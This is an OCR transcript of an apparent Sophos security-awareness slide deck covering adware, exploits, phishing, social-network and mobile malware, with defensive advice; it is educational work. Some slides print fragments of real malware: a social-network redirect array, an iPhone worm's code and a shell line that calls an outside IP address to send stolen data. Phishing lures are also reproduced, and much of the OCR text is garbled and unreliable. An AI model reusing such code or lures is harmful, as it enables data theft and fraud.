SOPHOS

Know the threat

It is more than viruses...

Agenda SOPHOS
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How did it all start? SOPHOS
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Computer security threats SOPHOS

Legitimate

@ Controlled Impact on productivity and resources

1. Applications

Semi-legitimate

® PUAs

L ]

L ]

@ Example: computer games

L ]

@ Unsuitable for business networks
L]

Example: adware

2. Exploits and vulnerabilities {‘ Bugs exploited by malware

Example: bugs in operating systems

® Malicious software

3. Malware

® Example: rootkits, spyware, viruses,
Trojans




Controlled applications SOPHOS

* Legitimate programs
* Impact on business productivity and resources
 Controlled applications to review:

— Computer games

— File-sharing applications

— FTP applications

» Some operating systems come with a set of
games

* Could impact on staff productivity programs played on
* Could become addictive computers

"| bet there are millions of bosses out there who hate me.
If 1 had a penny for every hour that has been wasted
playing Solitaire in the office, | could hire Bill Gates as my

golf caddie. Wes Cherry,

Author, Microsoft Windows Solitaire




File-sharing applications SOPHOS

* Do not require admin rights for installation

 They are widely used to spread malware

disguised as: programs that allow users to

Lo share files through internet,

— movie files via the P2P model
— music files

— games :

=

* Risk for organizations
* Sharing confidential files

annFidential.docE

* Sharing areas of the computer L
=

FTP applications SOPHOS

[oE
« Data sent through this protocol: Q @

— is not encrypted

— can be viewed by others applications transfer files from

) o one machine to another
* High security risk: unprotected data through a network such as

could be stolen the internet




Potentially Unwanted Applications (PUAS) SOPHOS

» PUAs were not created for malicious
purposes, but perform semi-legitimate tasks

* Could pose a threat
* End User License Agreement (EULA)

End User License Agreement:

=0

File Edit Format View Help

Resource Locators, and the content of web page. You understand and accept that a
uniform resource Locators and the content of web pages wyou wiew may Tnclude

wour personally identifiable information. wvou grant Integrated search
Technologies permission to collect and stare information on which IsST toolbar™
buttons you <lick on, your response to advertising, the search terms you

entered on the IST toolhar™ andg’ur all other information ralates to your

'|nternet usage hakit,
on t st

r rum p .nru y ldentitiahb

a 'IllT'lIIIT'I:lT‘IHII to our
third 5

» Advertisements match user’s interest

* Browsing behaviour and interests are
recorded in cookies

. . . software that displays
Hackers sell cookies to advertisers advertisements on the user's

* Information in cookies enables computer

advertisers to: —
[ W x Congratulations!
You have won our hourly prize. Click the

- matCh advertlsements to l “OK* buttan ta claim it before time runs out.

— ensure that consecutive advertisements are
displayed, as the user visits different sites

— track the number of times that the user has
seen an advertisement




Browser hijackers SOPHOS

Some websites run browser hijackers that can:
* add shortcuts to “Favorites”

« change default browser's start page change the settings in the
T _ _ internet browser without
* edit Windows registry settings user's permission

* remove options from the browser’s Tools menu

force visits to a website

to inflate the number of 004573

“hits” and site ranking

Remote administration tools

* Designed for IT staff and network
administrators

 Run any application on the user's PC \"&%’I

o Useful to debug problems programs to control other
people’s computers remotely

* In the wrong hands could be used for
malicious purposes




Exploits and vulnerabilities SOPHOS

* Vulnerability:

weakness in the software, such as flaw, bug, or glitch
that can compromise the integrity of the software

° EXpIOIt Hardware

code that takes advantage of a vulnerability

* Exploits can distribute malware and launch “denial-of-
service” attacks, or even access confidential data

OS exploits and vulnerabilities

Application

i

Operating System

| 3

Hardware

Almost all computers have an OS

An exploit in the OS could compromise those core functions

Image obtained from Wikipedia: http.//en.wikij g/wiki/Operating_system




Malware SOPHOS

Rootkits

Spyware E :

Trojans

Viruses

Worms

Rootkit SOPHOS

» Malicious software like worms install rootkits

* Rootkits hide the presence of utilities that

allow hackers to open “back doors” software that hides
. . . programs oOr processes
* To prevent detection, rootkits suspend their 0ing on a computer

activity until anti-virus has finished scanning




Spyware SOPHOS

* Installed by web pages when visiting them
» User to download a “needed” software

utility software that gathers
information without user’s
* Spyware can: permission

— change the default home page
— track user's activity
— report activity to others (advertisers)

— make premium-rate calls using dial-up
modem

Trojans SOPHOS

* Trojans do not make copies of themselves
* Trojans arrive in emails as attachments

¢ Claim one function, do something different

* Backdoor Trojans alert hackers when PC is online  programs that pretend
to be legitimate
software, but actually

— run programs on infected PC carry out hidden,
harmful functions

» Without user’s knowledge

» Hacker can:

access personal files

modify and upload files

track the user’s keystrokes
— send out spam

launch “denial-of-service” attacks (“DoS” attacks)




Viruses SOPHOS

e Arrivein;

— infected files
— in emails as attachments

* Infected files have to be run or open to infect programs that can
spread by making copies

* Email viruses mail themselves of themselves

* Malicious effect:
— displaying irritating
messages
— stealing data

— gaining control of PC

» Worms differ from viruses because they can
propagate themselves, rather than using a carrier

program
* Create exact copies of themselves o3 o

s = )
* Use communication between PCs to spread programs that create

copies of themselves
and spread via internet

“denial-of-service” attacks connections

* They can cause:

encrypt user's files

open “back door” on computer
high network traffic

slow down communications

computers to crash




Threat methods SOPHOS

Security threats and customer needs have
changed dramatically in recent years as

cybercriminals find more sophisticated ways to
hide their activities

2007-03-30 14:21:10 birtney psears nakde

Sl

Spam distributed from “zombie” PCs

Spammer turns profit when victim makes
purchase A

Email subject to trick the user unsolicited
commercial email

Spam usually concerns:

— Prescription drugs

— Get-rich-quick schemes ———“share price scams”
— Financial services

— Sex and famous people




Spam example SOPHOS

| adobe Reader - [~9884971.pdf] [E—
) File Edit View Document Tools Window Help $0.001,
T =ale@ . [ S [% - ® 10| g /
ERN ki Q HIEN = EXD @|§D i $o.oez |
PT G . 0,074 /\l"
40,065
iR AnnounCes the Opening of T New Stores by $0.056,
g n
ope rqu
To ove $0-
IMAGINE I YOU HAD THE CHANCE TO SUY A WAL-MART FRANCHISE IN MEXICO
RIGHT WHEN IT FIRST OPENED ITS DOCRS THERE AND ALL YOU NEEZED WAS A
e =TOGET
Hurry, we 52€ s slock stariing to make fe tum MOW.
Big watich In effect for Augus: 5, 2007118!
|
= = T P g
CEE T - G I =

* Inan attempt to get past anti-spam products criminals use
attachments (PDF, mp3, etc.)

Phishing SOPHOS

 Email appears to be from a reputable
organization

« Email has a link to a “replica” website

* Details entered in the “replica” website are
stolen

¢ Phishing involves mass-mailing
bogus emails and

 Spear phishing: small-scale and well-targeted websites to trick
users into supplying

* Spear phisher mails users in organizations confidential or
) personal
 Spear phisher pretends to be from a trusted information

department in the organization (i.e., IT, Human
Resources)




Phishing example SOPHOS

vou are eligible to recieve a tax refund for $571.94.

To access the form for your tax return use the link below:

L L i
(copy and paste this link in your m Internal Revenue Service IRS.gov
OEPARTHMENT OF THE TREASURY

12 days left to apply far your refi
quickly as you expected. A refun:

For example, a name and Social !
may not match the IRS records, Refund Status
the return or applied after the de| Process your Refund

Please enter your Social Security Number and your Bank Account information accurately.

This email has been sent by the
Department of the Treasury.

jusal 3]

Manth] [ | [Year B

Compromised web pages

 Hackers compromise reputable websites to é QI‘

infect trusting users malicious code

« Organizations have to face: ) ti”bse”ed into the
atabase running a
— Costs of recovery website

— Commercial fallout
— Bad publicity

Web surfers became infected from inappropriate

sites, but they can now be infected by legitimate web
pages that may have been compromised




Compromised web pages example SOPHOS

* Affected PlayStation

Slte g Warning! Quick System Scan Results E
° BOgUS Warning 1 | XP SecurityCenter Online Scanner detected Critical
" Spyware and Virus threats on your system!
° Detacted inFected programms can damage your computer and compromise Your privacy.
Spend money We strongly recommended to remoye them immediately.
Threat Mame Twpe Risk Level
W Trojan.Bakloma.A Spyware CRITICAL ~
W Win32.Gattman.A Spyware High
W Trojan.Zapchas.F Spyware High
W J5.Blackworm.A Trojan CRITICAL
W Trojan.Tibs.E Spyware CRITICAL
W Win3Z2.Netsky.P@mm Trojan Medium
B Troian Winsws Troian CRITIC A At
Click Here to Download Antispyware now! | All Ignore | | Remove All

Blended threats SOPHOS

* Historically, there were:

— spammers

— Virus writers

 Combining the expertise of these two groups will improve their chances of
obtaining information: information that they can illegally turn into cash

 Campaigns coordinate one or more of these threats:

malware

spam

— phishing and spyware attacks

compromised web pages




Blended threat example SOPHOS

* Cybercriminals exploit ANI,
found in a component of
various Microsoft OS

 Cybercriminals can take

’wﬂ
complete control of a t
computer -

2007/03/30 14:21:10 birtney psears nakde
° Spam WebSiteS and 2007/03/30 14:26:58 birtney speasr nkaed
! 2007/03/30 14:34:04 britnye speras anked
malware together 2007/03/30 14:39:20 briteny psears nkaed
2007/03/30 14:40:15 britnye speasr nkaed
¢ Variable content: email 2007/03/30 14:40:23 rbitney spaers nakde
. 2007/03/30 14:40:24 rbitney speras anked
subject and message 2007/03/30 14:42:48 rbitney speasr nkaed

2007/03/30 14:42:58 britnye speras nkaed

Change every tlme IS Sent 2007/03/30 14:44:16 birtney speasr nkaed

Emerging threat SOPHOS

* Emerging threat: data leakage
* 95% of data loss is accidental
* Media attention negative for organizations




SophosLabs SOPHOS

Increase detection from highly
skilled experts in:

— Spam

— Infected websites

— Malware

All analysts are trained for nine months

Do we recruit malware authors?

If you want someone to put out a fire you call a firefighter, not
the arsonist!

SophosLabs in action

‘

sophoslabs




SophosLabs code analysis SOPHOS

cusiomers
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Spam analysis SOPHOS
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SophosLabs web analysis SOPHOS

http://www.we

S N ebsiteurl
1 http://www.websiteurl2
ea!-(:h . qsgp h 05|abs,’ http://www.websiteurl3
1 http://www.websiteurl4
englne http:/iwww.websiteurl5

Deploying before the working day begins SOPHOS

* New threats tend to shadow the
working day
« Strategic positioning of SophosLabs
Abingdon

* Updated protection created and
deployed before the working day
even begins in many regions




Other Sophos

genotype protection

URL blocklist protection l

anti-spam updated S

s et T
e
oo T

otherlabs

hoslabs

anti-virus updated

NAC updated
genotype updated
NG

Bepdhivieietnsiitears@OahGamRe
OS paighgshissiasailable.

> X 2_<%x x
LB

risk risk

SOPHOS
security threat report: 2010




215t century: 10 years on SOPHOS

* Hackers moved from large-scale
attacks

 They are more organized, targeted
and unobtrusive

« Stealing data, from intellectual
property to personal identities, are now
key to financial gain

* Social networking sites exploded onto
the web in the last half of the decade —
becoming a primary target for hackers

Security threat report 2010 SOPHOS

Summary of topics:

* Social networking threats
Email threats

Web threats

Mobile threats

Cyberwarfare

The future




Social networking

threats

Social networking attacks SOPHOS

* Social networking accounts are valuable to hackers

» They can use them to send spam, spread malware, steal
identities..

* .. just like a compromised botnet PC




Social networking spam

Social networking spam

SOPHOS
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Social networking spam SOPHOS

@geluley I heard on the news Google
was hiring peaple to work from home.
Here is the news article
http://dwarfurl.com/ 01662

News 4 Show - online edition

‘i WEEKLY NEWS bt

Breaking News: Google Hiring Americans And Canadians To
Work From Home

asseeunn:@ AOL :E'* @W %;%

Has the online titan now apened the doors
for everyday people like you to work for
them? 1 this is true, that nueans that thousards
of people fram US and Canda might have a safe
and bright future working from the comfort of
their homes, all of which will be decided in the
b i disse B i g the seblic beee. s of
In the middle of this recession this country and Juauary W‘: the “::IPIII“‘_: "-:h 2
s g sppevaimaiely 22 billion dollas ared s he
e o g Goge bl et
B Today shey have opesend their doors and wil]
ukrier. e hiring acusands of pece tn simply post

WHAT
RECESSION?

The billicn deilar compasy ey sarver pend

Social networking spam

Home P Hﬂch
, S ,_,_.f!!fgf_:_fuah

f ralindazByer,

Malind; g
2 Byer

Hey wanna see me naked

on a webcam and have a Oik
dirty chat? ;) ’ thwaiWiIsun
Add me on MSN ‘ Via Wiison
@hetmail .com
we can have some naughty fur
~Xo Xo~ :
et yﬂ?.'.c‘_ﬁfﬁ_?fthrie

Regj,
m nhSi"pB:Rarh

S




Social networking spam SOPHOS
m THE USUAL
Updated
February &

¥ The wall
Displaying 10 of 95 wall posks, See Al

B LAS YEGAS
Y JAMUARY 2008
B Created

B lanuary 16

Write something on your awn wall, .,

Attach: [FE Share Link

.a* I, -t

at 1:15prn

&
Danny's secret is finally out, he has been taking prick pills from
cokig.com For the past few months, thats why ke is always with
a different girl when I see him, he used to be the biggest loner
last year. The pills actually do work, they are guarenteed to
work cokig.com

Wall-ta-tall - Write on I 2l - Message - Delate

Social networking spam SOPHOS

57% of social networking users report
@ being hit by spam via the services

That’s an increase of 70.6% from a

year ago.
| P |

SPAM

— "




Social networking
phishing

Social networking phishing SOPHOS

TanishaSpence: check this guy out hitp:/itinyurl.com/gpj&t (e
about 5 howrs ago from web - Reply - View Tweet

. lanaMckes: check this guy out http:/tinyurl.com/qpjefl (xoand

about 5 hours ago from web - Reply

t 5 howrs ago from web - Reply - View Tweet

. MerryRamsey: check this guy out http:/tinyurl.com/gpjefl (smand

about £ ago from web - Reply + View

. He 1wg‘-‘§hau\r check this guy out hitp:itinyurl. com/qpjsf (=

RosalieFloyd: check this guyautm.ﬁlmﬂm_qm.ﬁﬂ
weet

about 5 hours ago from web - Heply - Vi




Social networking phishing SOPHOS

Ek’ﬁﬁﬁ%@fﬁ Select Language .. [=)

What is Twitter?

P Watch a video!

Please sign in
user name or email address:

tﬁ sstanted © password
gt |
et

[ remember SignIn»

Forgot password? Click hare

Twitter is a service for friends, family, and co—workers T
to communicate and stay connected through the exchange of your phone? Click her.
quick, frequent answers to one simple question: What are you

doing?

Social networking phishing SOPHOS

Edit View History Bookmarks Tools Help

-, - &h‘ I/_E- .@Oﬂ.mm,mﬂe.w.lw’) v B W |4

K1 Facebook | Login (%]

Facebook Login

Everyone Can Join

W You must log in to see this page.

Emaik
Password:

[[] Remember me

or Sign up for Facebook

Fargat your pa

Advertisars  Busne

Terms Privacy Help

Si =




Social networking phishing SOPHOS

3@(% of social networking users report
@ phishing attacks via the sites

That’s an increase of 42.9% from a

- LN

Uﬁ RHEHI N f

o

Social networking

malware




Social networking malware SOPHOS

paris hilton nude B Cantact Directly
paris hilton nude 5t Company B - &8 Getintroduced thaough a ¢

Cument  » paris hilton nude at Company B
Industry  Awiation 8 Sermspace

Websites

PARIS

* Beewha you and parl
commen

B Ydent 5 B

Hig
Unitgy o, = 2Rer Uy
paris hilton nude’'s Experience Ttteg States G ”"5"9/@

il gy,
i,
paris hilten nude 9 eriny

e il o Past
Currertly holds this pasition Fm:;é,,-;"r :
= . ) Conppres
@) Additional Information W ."e“(uns
paris hilton nude’s Websites bsitas
PARIS HI
PARIS HILT! i
PARIS HILT! P S, -
uby; = ; s
blic Profigg E\,‘;/E?EE 0 ey
it
VIDEG, o
* Facabook massage: Cute Girl Top Model Dancing (Last rated by From: "Facsbook posting”
2] mesaguarversapfacabock com s
= Subject: Facebonk meszage: Cute il Top Madel Dancing (Lez rated by )

From: "Ficebook posting" =meszsgeterverBa@ficebook com=
Diakes 20030330 07:29:36

Jmnouncenents: Posted March 30, 200%

Mevs from Facebook = Facebook Hot Body Dance Video Competition!

Today: "Girls in beautiful black undermear dancing in che pub, showing off perfect bodies.
Unbelievable Final!"

Procesd to view full video:

http://facehook. shared. mixed. - com/|

kdded 31 winuces ago. Messags I0: FB-l4Bqoiut7shutou)
2008 Facebook community, B msage Center.

Heme Frofile  Friends Inbox
“) opening Flash_Adobellexe
¥au have chosen to spen
Who is seari
Flash_Adobell exe Event  far youz
which s a: BIN file
from: .. ranalid-caxgulyjp.

would you like ta save this fle?

3 concel | €9saverie

Please Download corract Flash Mowe Player! Installation: Double-click the downloaded

installer: Follow the on-screen instructions.
ok




Social networking malware SOPHOS

facebook  Home Profile  Friends

Inbox | Sent Messages | Notifications | Updates

1 You're the whole show! II'm admirec]
Between =) . You,
and
CO0000O0L!

September 14 a http:/ fgroups.google.comp

Social networking malware

e ——
e =
g

var redirects = [

[ *facebook.com', abc+'fb.php'],
[*tagged.com®, abc+'tg.php'],
[ friendster.com’,abcs+'fr.php'],
[ *myspace.com’, abc+'ms.php’],
['msplinks.com', abc+'ms.php'],
[ *myyearbook.com’ ,abc+‘yb.php°],
[ fubar.com', abc+'fu.php’],
["hi5.com', abc+'hi%.php'].
['twitter.com', abc+'tw.php'],
[ *bebo.com’, abc+'be.php’]
15

Videa Posteg by

“WizAyp.

SR YD) e

Wall Info  Photos  Boxes

Attach: [@ % B £ ~ @

3, Filters

Wong ZiChyi I caan’t ffall aslleep affter viewiing thils videoo. I haveen't seenn
aarythi thiis http: /fbarcoachin
i

uncensored performans

F]) 50 minutes ago - Comeent * Like - Share \




Social networking malware SOPHOS

Realtime results for mikeyy

480 more resulis since you started searching. Refresh to see them.

~— E Be nice to your kids, They'l choose your nursing home. Womp,
. mikeyy.

If you are bomn ugly blame your parents, if you died ugly blame your doctor.
SRR Womp. mikeyy

; than 20 seconds ago from web - Beply - View Tweet

1 20 seconds ago from web - Raply - View Tweel

E Maney is not the only thing, it's everything. Womp. mikeyy.

Clickjacking

: Whoa, | didn't post that Don't Click thing. Hacked?
about 3 hours ago - Reply - View Tweet

: Don't Click: http:/tinyurl.com/ {expand)
about 3 hours ago - Beply - View Tweet ClearClick Warning e |

I clickjacking / UL Attempt!
NoScript intercented a mouse or keyboard interaction with @ partially
hidden element. Click on the image below to cycle between the abstructed
and the dear version.

update

http: /twitter,com/home. . tp://tnyurl.com

+/| Keep this element locked {recommended)

ClearClick protection on pages | untrusted [ trusted

oK. More Info




Social networking malware SOPHOS

3@(% of social networking users report

@ malware attacks via the sites
That’s an increase of 69.8% from a
year ago.

MALWARE

Where is the most danger?

Which social network do you think poses the biggest risk to security?
Facebook
MySpace
Twitter

Linkedin

0% 15% 30% 45% 60%




Social networking danger SOPHOS

72(% say employee behavior is risking
@ the firm’s security

Are you worried? SOPHOS

Are your firm’s
workers sharing too
much information
on social networks?

Is employee
behavior on social
networks risking
your firm’s security?

50% 58% 65% 73% 80%

B Apr 2009 B Dec 2009




Email threats

Email malware SOPHOS

* yhy did it happen in your cty? From:
=] Subjeck: Why did it happen in your city?
From:
To:

Drate: 2005-03-16 0613554

Ly least 16 killed in your city hco

. COm/ news. php

ane X R Teror attack in ~ Mozilla Firefox

File Edt View Higtery Bookmarks Tools Halp

* B B @[ [heiyoubreakings=fcomiman.p b = | [G* A
* REUTERS

Powerful explosion burst in Amsterdam this
morning.

REUTERS

At least 12 people have been

Fham AR

ed and mor

enindad in 3 hamh




Email malware SOPHOS

[+ DHL service. Gat your parcel. Delivery NR.1204749 From: "Manager Baszia Maldonade” sdelivery@dhlusa corns

= Subject: DHL service, Get vour parcel. Delvery MR, 1204743
From: "Managar Bassie MaMdonado" =defiveny@@l-usacom =
To: = =
Dates 2009-10-20 02:49:2%
Hellao!

The courier comparny was not able to deliver your parecel by your address.
Cause: Error in shipping address.

You may pickup the parcel at our post office persomalsw!
The shipping label is atvached to this e-mail

Pleage print this label to get this package at our post office.,

Thank you for atcentcion.
DHL Delivery Services.

Email malware

* DHL Services. Please get your parcel NR.3614 From: "Manager Numbers Gles® <services@dhi-usa.com>

Subject: DHL Services. Piease get your parce! NR_3614
Fros lanager Numbers Glles” <services@dhl-usa.com>
Date: 2009-12-08 02:38:42

Dear customer!

The courier company was not able to deliver your parcel by your address.
Cause: Error in shipping address.

You may pickup the parcel at our post office personaly.

Please attentionl
The shipping label is attached to this e-mail.
Print this label to get this package at our post office.

Please do not reply to this e-mail, it is an unmonitored mailbox!

Thank you,
DHL Services.

* Facehook Password Reset Confirmation. Imporfant Message Froen: “Contact Fecetoos” <oustomen@iscebock coma
- Subjoct: Facedooi Paamwers Hewes Confrmacen, Deoorar Messge
From: “Contact Fatebonl” <tustorner@iscehook toms
Ta:
Diita: J00%-12-08 0-38:21

Eoy M

Because of the measures taken te provide safety to our elients, your password has been changed.
Yoo can find your now password in attached document.
Thanks,

Your Facchook.




Email malware SOPHOS

Top 10 malware spreading via email in 2009

Troj/Bredo
Mal/EncPk
Troj/Agent
Mal/WaledPak
Troj/Invo
Troj/ZipMal
W32/Netsky
Mal/FakeVirPk
Mal/lframe
Mal/ZipMal
Other

42.8%

0% 10% 20% 30% 40% 50%

Email spam SOPHOS

Dirty dozen spam-relaying countries, 2009

United States
Brazil
India
China

S Korea
Turkey
Poland
Vietnam
Russia
Spain

haly
Argentina
Other

370%
0% 8% 16% 24% 32% 40%




Web threats

SEO poisoning

Rip Kanye West
This site
Kanye West RIP' Patrick Swayze RIP Michael Jackson. Login to leave a comment.
PaulReiber on September 15, 2009 You LIE!

A org.uk/./Rip-Hanye-WesLhll | yanye west died

1st most popular search in the past hour.
Tiger Woods Rachel Uchitel ( Tiger Fiees valeame

Woods Car Accident ) yoogle. comitrends PDT  SAM 1AM SPM 11PM

Tiger Woods Ra

=

News results for natasha richardson ski accident

] afte:

11

as repot o ra
fall while skiing on a bu

NATASHA RICHARDSON SK

Natasha Richardson Suffers Ski Accident. ... Actress Natasha Richardson suffered a skiing

sana mel gibson

Details of Natasha Richardson's Ski Accident - TMZ.com

lebrity gossip, Hollywood rume

17 Mar 2009 ... TMZ - celebrity news, entertainment ne
cbama & brackets - sharebuilder
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Fake anti-virus SOPHOS

a_' SystemDefender % System Anthvirun 7008 =

“ DOWKLOAD 'ﬁ System Antivirus 2008
Security Center

YOUR SYSTEM MAY BE Security Scanner

N F E CTE D ! security scanner Siscurty hunshy tnd 14__
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Web-based malware

Top countries hosting malware on the web, 2009

37.4%

0% 10% 20% 30% 40%




Data loss




Mobile malware

Mobile malware

]

o owm

sunnuntaina 8. marraskuuta

I*

People are stupid, and this is to prove it so

FRTFM, its not thats hard guys

But hey who cares its only your bank details at stake.
L

ff This is the worm main()
#ifdef IPHONE BUILD
int mainiint arge, char *argul])

ifiget lock() — o) {

syslog(LOG_DEBUG, "I krow when im not wanted *sniffe');

return 1; F // Already running.

sleep(50); // Lets wait for the network to come up 2 WINS
syslog(LOG_DEBUG, "ITITIII Just want to tell you how im feeling");
char *locRanges = getAddrRange(|:

J/ Why did i do it like this i hear you ask.

// because i vrote a simple python script to parse ranges

/4 and output them like this

// THATS WHY.




Mobile malware SOPHOS

=

BOO syslog # SCiTE

Fle Edit Search View Tools Options Language Buffers Help

#!/bin/sh =

#

cd /private/var/mobile/home/
E ME

PATH=, : $PATH
function check {
if test 2 -1t I ] B | ; then
cat /private/var/mobile/home/.tmp | grep -v GET | g
53 /private/var/mobile/home/heh
£1

} L
/private/var/mobile/home/duh 92.61.38.16 /xml/p.php?i

rharl:

K |

[«

ks

Mobile malware SOPHOS

peer Alaska USA FCU

Bank Texas UKED.99

an>=k0ID

I Valley Credit Union  ygep.09
Vi

Mechanics Bank UKED.99




Cyberwarfare

August 6 2009

The connection has timed out

"

The server al teatter cam is 1aking tao long ta respond,

® The site could be tempararily unavailable ortoo busy. Try again in a few
moments.

Hiyou are unable 1o load any pages. check your computer's netwark connection

Hyour cormputer or netwark is prote cled by a firsweall or pros: make sure that
Firefos iz permitted 10 acce sz the Wb
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Facebook You may have had trouble accessing Facebook earlier today
because of network issues related to an apparent distributed denial-
of-service attack. We have restored full access for most people. We'll keep
monitoring the situation to make sure you have the reliable experience you

expect from us.

Denial-of-service attack - Wikipedia, the free encyclopedia

From: "Seorgy M." zcyrymu@gmail.com:s=

#  Show me the place here
= Subject: Show me the place here
From: "Georgy M." coyrymu@grnail.com =
To:

Date: 2009-03-07 04:16:35

Hello.
| beg pardon for a spam getting in your mailboxes, it

sent not, but spammers which want that on me went to law.

http:feyeemu2 livejournal cor EWwite
er

HELP MEI
. Hey therg; qumu. ;‘s

.
ST S Twitier s

4 ey iy 5
1 ¥ theaugh 1he ::" SBrvice thyy

using Twitrer.
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Ehe Neww ork Eimes March 28, 2008
The Vast Reach of ‘GhostNet’
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The Third Age of Cybercrime

2 3

Money, Economic;

Organized Political,
crime Military

The future




The future SOPHOS

« Criminals are increasingly using social networking websites
to steal identities, spread malware and send spam

* Social networks are getting better at protecting users
against these threats — but there’s a long way to go

YA\

The future SOPHOS

* Criminals will continue to exploit social networks,
commandeering identities to steal information and spread
more attacks (a web 2.0 zombie)

* Users will continue to share information inappropriately,
putting their identities — and potentially your firm — at risk

* But banning social networking may be rash

* Need to offer greater security and control @ @
to social networkers e




The future SOPHOS

 Hackers continuing to target ubiquitous software — such as
Adobe Flash and PDF reader

 Growth in malware numbers — currently 50,000 a day, what
will be by the end of 20107

» SEO poisoning and fake anti-virus will continue to be used
by hackers for as long as victims fall for the tricks ~ ®

* Will new OSes/platforms mean new danger or an
opportunity to improve? g ™

The future SOPHOS

« Data leaks continue to embarrass firms who do not put data
loss protection and encryption in place

 More attacks against cloud-based systems as more end-
users trust their personal information to the internet

 More accusations of cyberwarfare and industrial esplonage
— perpetrated by cybercriminals \




Actions SOPHOS

* Regularly review the information you and your staff are
sharing online, and act as appropriate

* Review your web 2.0 security settings — you should only be
sharing info with trusted parties

* Consider filtering access to social networks — groups and
time

 Scan websites accessed for malware/cybercrime

* Educate workforce regarding online risks

Actions SOPHOS

* Roll out policies across your organisation regarding the use
of security software and patches, and data encryption

» Keep ahead of the game - sign-up for security alerts, RSS
feeds for Sophos’s blogs, etc

« http://www.sophos.com/security/




SOPHOS

Thanks for listening!

Any
S?




